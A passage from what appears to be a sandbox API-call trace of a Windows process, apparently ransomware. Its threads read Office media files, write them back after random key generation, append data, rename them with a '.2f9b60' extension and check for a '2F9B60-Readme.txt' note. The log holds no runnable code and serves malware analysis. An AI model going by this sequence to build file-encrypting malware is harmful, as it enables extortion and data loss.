_Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="b7") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="61") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="a8") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="47") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="d4") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="ff") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="a7") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="79") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="b0") returned 2 [0236.775] RtlInitAnsiString (in: DestinationString=0x3472f888, SourceString="22869e9372222a6c2a8926b99f42b761a847d4ffa779a1b0" | out: DestinationString="22869e9372222a6c2a8926b99f42b761a847d4ffa779a1b0") [0236.775] RtlAnsiStringToUnicodeString (in: DestinationString=0x3472f858, SourceString="22869e9372222a6c2a8926b99f42b761a847d4ffa779a1b0", AllocateDestinationString=1 | out: DestinationString="22869e9372222a6c2a8926b99f42b761a847d4ffa779a1b0") returned 0x0 [0236.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddf6e0 [0236.776] wcscat (in: _Dest=0x431cb9e0, _Source="22869e937222" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\22869e937222") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\22869e937222" [0236.776] wcscat (in: _Dest=0x431cb9e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\22869e937222.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\22869e937222.2f9b60" [0236.776] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\22869e937222.2f9b60", NtPathName=0x3472f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\22869e937222.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20279430 [0237.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279430) returned 1 [0237.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b6ec0) returned 1 [0237.030] NtQueryInformationFile (in: FileHandle=0x3360, IoStatusBlock=0x3472f898, FileInformation=0x3472f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3472f898, FileInformation=0x3472f8a8) returned 0x0 [0237.030] NtSetInformationFile (FileHandle=0x3360, IoStatusBlock=0x3472f898, FileInformation=0x3472f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb9e0) returned 1 [0237.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf6e0) returned 1 [0237.512] FlushFileBuffers (hFile=0x3360) returned 1 [0238.232] CloseHandle (hObject=0x3360) returned 1 [0241.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c9580 [0241.618] wcscpy (in: _Dest=0x431c9580, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0241.618] wcscat (in: _Dest=0x431c9580, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt" [0241.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\2f9b60-readme.txt")) returned 0x20 [0241.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9580) returned 1 [0241.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22090) returned 1 Thread: id = 3877 os_tid = 0x1fbc [0229.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif")) returned 0x20 [0230.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF", dwFileAttributes=0x20) returned 1 [0231.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x332c [0231.727] GetFileSizeEx (in: hFile=0x332c, lpFileSize=0x34e6f780 | out: lpFileSize=0x34e6f780*=423) returned 1 [0231.727] SetFilePointerEx (in: hFile=0x332c, liDistanceToMove=0x1a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.727] ReadFile (in: hFile=0x332c, lpBuffer=0x34e6f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34e6f748, lpOverlapped=0x0 | out: lpBuffer=0x34e6f700*, lpNumberOfBytesRead=0x34e6f748*=0x4, lpOverlapped=0x0) returned 1 [0231.729] SetFilePointerEx (in: hFile=0x332c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0231.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644d0 [0231.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0231.729] NtQuerySystemTime (in: CurrentTime=0x34e6f640 | out: CurrentTime=0x34e6f640*=132462178357234000) returned 0x0 [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x439a5552 [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x68f652db [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x6e05a5e9 [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x576a727c [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x6650909e [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x77067798 [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x316e885b [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x59e88b48 [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x55be6c91 [0231.729] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x7c8432b3 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x525e7378 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x4db3afbf [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x17a26e85 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x779ce5f1 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x70af0831 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x1c533688 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0xa396dd7 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x1c5a81f1 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x7d8556f3 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0xa8ea22a [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0xe64a898 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x10cdff33 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x269a95a2 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x378d3622 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x48bc5c29 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x5cc7bac8 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x36e82aea [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x5016c59 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x1f2d44f3 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x51840e2b [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x6bb1753 [0231.730] RtlRandomEx (in: Seed=0x34e6f630 | out: Seed=0x34e6f630) returned 0x7a0c9e00 [0231.736] ReadFile (in: hFile=0x332c, lpBuffer=0x42838200, nNumberOfBytesToRead=0x1a7, lpNumberOfBytesRead=0x34e6f630, lpOverlapped=0x0 | out: lpBuffer=0x42838200*, lpNumberOfBytesRead=0x34e6f630*=0x1a7, lpOverlapped=0x0) returned 1 [0231.736] SetFilePointerEx (in: hFile=0x332c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.737] WriteFile (in: hFile=0x332c, lpBuffer=0x428309e0*, nNumberOfBytesToWrite=0x1a7, lpNumberOfBytesWritten=0x34e6f634, lpOverlapped=0x0 | out: lpBuffer=0x428309e0*, lpNumberOfBytesWritten=0x34e6f634*=0x1a7, lpOverlapped=0x0) returned 1 [0234.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e3b0 [0234.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e110 [0234.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e110) returned 1 [0234.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428309e0) returned 1 [0234.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42838200) returned 1 [0234.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba460) returned 1 [0234.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0234.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e110 [0234.242] SetFilePointerEx (in: hFile=0x332c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.242] WriteFile (in: hFile=0x332c, lpBuffer=0x431e0960*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34e6f750, lpOverlapped=0x0 | out: lpBuffer=0x431e0960*, lpNumberOfBytesWritten=0x34e6f750*=0x10a, lpOverlapped=0x0) returned 1 [0236.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058fb0 [0236.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202661b0 [0236.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202661b0) returned 1 [0236.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202661b0 [0236.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264320 [0236.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264320) returned 1 [0236.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058fb0) returned 1 [0236.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac9a0 [0236.304] sprintf (in: _Dest=0x431ac9a0, _Format="%c%c" | out: _Dest="db") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9a2, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9a4, _Format="%c%c" | out: _Dest="d8") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9a6, _Format="%c%c" | out: _Dest="ad") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9a8, _Format="%c%c" | out: _Dest="fd") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9aa, _Format="%c%c" | out: _Dest="10") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9ac, _Format="%c%c" | out: _Dest="65") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9ae, _Format="%c%c" | out: _Dest="0f") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9b0, _Format="%c%c" | out: _Dest="17") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9b2, _Format="%c%c" | out: _Dest="f8") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9b4, _Format="%c%c" | out: _Dest="fe") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9b6, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9b8, _Format="%c%c" | out: _Dest="87") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9ba, _Format="%c%c" | out: _Dest="d6") returned 2 [0236.304] sprintf (in: _Dest=0x431ac9bc, _Format="%c%c" | out: _Dest="79") returned 2 [0236.305] sprintf (in: _Dest=0x431ac9be, _Format="%c%c" | out: _Dest="4e") returned 2 [0236.305] sprintf (in: _Dest=0x431ac9c0, _Format="%c%c" | out: _Dest="47") returned 2 [0236.305] sprintf (in: _Dest=0x431ac9c2, _Format="%c%c" | out: _Dest="29") returned 2 [0236.305] sprintf (in: _Dest=0x431ac9c4, _Format="%c%c" | out: _Dest="ea") returned 2 [0236.305] sprintf (in: _Dest=0x431ac9c6, _Format="%c%c" | out: _Dest="00") returned 2 [0236.305] sprintf (in: _Dest=0x431ac9c8, _Format="%c%c" | out: _Dest="59") returned 2 [0236.305] sprintf (in: _Dest=0x431ac9ca, _Format="%c%c" | out: _Dest="11") returned 2 [0236.305] sprintf (in: _Dest=0x431ac9cc, _Format="%c%c" | out: _Dest="98") returned 2 [0236.305] sprintf (in: _Dest=0x431ac9ce, _Format="%c%c" | out: _Dest="55") returned 2 [0236.305] RtlInitAnsiString (in: DestinationString=0x34e6f7c8, SourceString="dbf6d8adfd10650f17f8fee587d6794e4729ea0059119855" | out: DestinationString="dbf6d8adfd10650f17f8fee587d6794e4729ea0059119855") [0236.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x34e6f798, SourceString="dbf6d8adfd10650f17f8fee587d6794e4729ea0059119855", AllocateDestinationString=1 | out: DestinationString="dbf6d8adfd10650f17f8fee587d6794e4729ea0059119855") returned 0x0 [0236.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f4b0 [0236.306] wcscat (in: _Dest=0x20505d70, _Source="dbf6d8adfd10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbf6d8adfd10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbf6d8adfd10" [0236.306] wcscat (in: _Dest=0x20505d70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbf6d8adfd10.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbf6d8adfd10.2f9b60" [0236.306] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbf6d8adfd10.2f9b60", NtPathName=0x34e6f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbf6d8adfd10.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3020 Thread: id = 3878 os_tid = 0x1fd4 [0229.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif")) returned 0x20 [0230.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF", dwFileAttributes=0x20) returned 1 [0231.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3330 [0231.738] GetFileSizeEx (in: hFile=0x3330, lpFileSize=0x3570fe40 | out: lpFileSize=0x3570fe40*=362) returned 1 [0231.738] SetFilePointerEx (in: hFile=0x3330, liDistanceToMove=0x166, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.738] ReadFile (in: hFile=0x3330, lpBuffer=0x3570fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3570fe08, lpOverlapped=0x0 | out: lpBuffer=0x3570fdc0*, lpNumberOfBytesRead=0x3570fe08*=0x4, lpOverlapped=0x0) returned 1 [0231.739] SetFilePointerEx (in: hFile=0x3330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0231.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0231.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0231.740] NtQuerySystemTime (in: CurrentTime=0x3570fd00 | out: CurrentTime=0x3570fd00*=132462178357390000) returned 0x0 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x53045e16 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x44495b24 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x13281152 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x4a504bff [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0xca11df8 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x6cd75e38 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x4eb88790 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x7dc589dd [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x62efd7db [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x3236efd2 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x17352093 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x77f48e40 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0xc78470c [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x42ea8754 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x754b47d6 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x27aa71a7 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x4bf775bb [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0xb22d250 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x4ed126a9 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x26ee0b76 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x564afcf5 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x6efccddb [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x3239864e [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x77840e8f [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x37656480 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x19af04ac [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x4ce308fe [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x409343ef [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x2b21f336 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x102bec9b [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x2262a30 [0231.740] RtlRandomEx (in: Seed=0x3570fcf0 | out: Seed=0x3570fcf0) returned 0x242f6189 [0231.747] ReadFile (in: hFile=0x3330, lpBuffer=0x4286cae0, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x3570fcf0, lpOverlapped=0x0 | out: lpBuffer=0x4286cae0*, lpNumberOfBytesRead=0x3570fcf0*=0x16a, lpOverlapped=0x0) returned 1 [0231.747] SetFilePointerEx (in: hFile=0x3330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.747] WriteFile (in: hFile=0x3330, lpBuffer=0x428345f0*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x3570fcf4, lpOverlapped=0x0 | out: lpBuffer=0x428345f0*, lpNumberOfBytesWritten=0x3570fcf4*=0x16a, lpOverlapped=0x0) returned 1 [0234.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e1a0 [0234.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e260 [0234.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e260) returned 1 [0234.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428345f0) returned 1 [0234.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4286cae0) returned 1 [0234.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9d60) returned 1 [0234.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058470) returned 1 [0234.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e260 [0234.248] SetFilePointerEx (in: hFile=0x3330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.248] WriteFile (in: hFile=0x3330, lpBuffer=0x431e0a80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3570fe10, lpOverlapped=0x0 | out: lpBuffer=0x431e0a80*, lpNumberOfBytesWritten=0x3570fe10*=0x10a, lpOverlapped=0x0) returned 1 [0236.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0236.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264380 [0236.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264380) returned 1 [0236.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264380 [0236.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264ef0 [0236.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ef0) returned 1 [0236.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0236.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac9a0 [0236.321] sprintf (in: _Dest=0x431ac9a0, _Format="%c%c" | out: _Dest="56") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9a2, _Format="%c%c" | out: _Dest="72") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9a4, _Format="%c%c" | out: _Dest="af") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9a6, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9a8, _Format="%c%c" | out: _Dest="c1") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9aa, _Format="%c%c" | out: _Dest="af") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9ac, _Format="%c%c" | out: _Dest="b7") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9ae, _Format="%c%c" | out: _Dest="fd") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9b0, _Format="%c%c" | out: _Dest="d3") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9b2, _Format="%c%c" | out: _Dest="6a") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9b4, _Format="%c%c" | out: _Dest="23") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9b6, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9b8, _Format="%c%c" | out: _Dest="2d") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9ba, _Format="%c%c" | out: _Dest="d7") returned 2 [0236.321] sprintf (in: _Dest=0x431ac9bc, _Format="%c%c" | out: _Dest="db") returned 2 [0236.322] sprintf (in: _Dest=0x431ac9be, _Format="%c%c" | out: _Dest="11") returned 2 [0236.322] sprintf (in: _Dest=0x431ac9c0, _Format="%c%c" | out: _Dest="56") returned 2 [0236.322] sprintf (in: _Dest=0x431ac9c2, _Format="%c%c" | out: _Dest="58") returned 2 [0236.322] sprintf (in: _Dest=0x431ac9c4, _Format="%c%c" | out: _Dest="a2") returned 2 [0236.322] sprintf (in: _Dest=0x431ac9c6, _Format="%c%c" | out: _Dest="a6") returned 2 [0236.322] sprintf (in: _Dest=0x431ac9c8, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.322] sprintf (in: _Dest=0x431ac9ca, _Format="%c%c" | out: _Dest="4b") returned 2 [0236.322] sprintf (in: _Dest=0x431ac9cc, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.322] sprintf (in: _Dest=0x431ac9ce, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.322] RtlInitAnsiString (in: DestinationString=0x3570fe88, 